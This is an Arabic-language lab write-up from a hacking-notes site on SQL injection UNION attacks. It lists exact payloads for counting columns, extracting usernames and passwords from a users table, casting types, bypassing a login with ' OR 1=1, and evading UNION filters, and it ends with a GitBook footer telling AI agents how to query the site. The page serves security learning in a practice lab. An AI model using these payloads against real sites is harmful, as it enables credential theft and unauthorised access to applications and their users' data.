> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# هجوم UNION لاستخراج البيانات من جداول أخرى

### هجوم UNION بحقن SQL، استرجاع البيانات من جداول أخرى

**الخلفية:** `category` المرشح عرضة للحقن؛ الإجابة تُنتج نتائج SQL، لذا فإن `UNION SELECT` يتيح حقن وعرض الصفوف من جداول أخرى.

**هدف المختبر:** استرجاع جميع `اسم المستخدم` / `كلمة المرور` من `users` الجدول ثم تسجيل الدخول باسم `administrator`.

#### الخطوات (الترتيب، الحمولة الدقيقة)

1. **تحديد عدد الأعمدة** (إذا كان غير معروف):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

عندما `ORDER BY N` يتسبب في خطأ، يكون عدد الأعمدة < N. 2. **تحقق `UNION`** (نفس عدد الأعمدة في الطلب الأصلي): / مثال إذا كان الاستعلام يُرجع عمودين:

````
```sql
' UNION SELECT '1','2'-- -
```
````

أو مع `NULL` للأعمدة غير ذات الصلة:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **استخرج `اسم المستخدم` / `كلمة المرور`** (اضبط عدد/ترتيب الأعمدة): / إذا كان الطلب الأصلي يحتوي على **عمودين**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

إذا كان يحتوي على **3 أعمدة**، ضع `NULL` للعمود غير المستخدم، مثلًا (النص في الموضع الثاني):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— إذا كانت الأنواع غير متوافقة: استخدم `CAST`/`TO_CHAR` أو `NULL` لفرض التوافق:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **تحقق من المخرجات** — يجب أن تتضمن الاستجابة `اسم المستخدم`/`كلمة المرور` أزواجًا.

* اعثر على `administrator` السطر وسجّل كلمة مروره.
* استخدم هذه الاعتمادات في صفحة تسجيل الدخول.

5. **بديل (إذا فشل استخراج البيانات)** — تجاوز d

   ```sql
   ' OR 1=1-- -
   ```

(أدلة أقل من التفريغ؛ فضّل استخراج البيانات إن أمكن.)

#### تفاصيل تقنية

* استخدم ثوابت منفصلة (أو `NULL`) لتحديد الأعمدة المعروضة.
* Oracle: الأسماء بأحرف كبيرة إذا لم تكن مقتبسة؛ قد يتطلب `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` إذا كانت الأنواع مختلفة.
* إذا `UNION` إذا كان محظورًا، اختبر التغييرات في المسافات/التعليقات أو الدوال لإعادة بناء السلسلة (`CONCAT`, `CHR`/`CHAR`).

#### خلاصة التأثير

* بيانات الاعتماد (المسؤول)، التحكم بالتطبيق، استخراج/تعديل البيانات.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
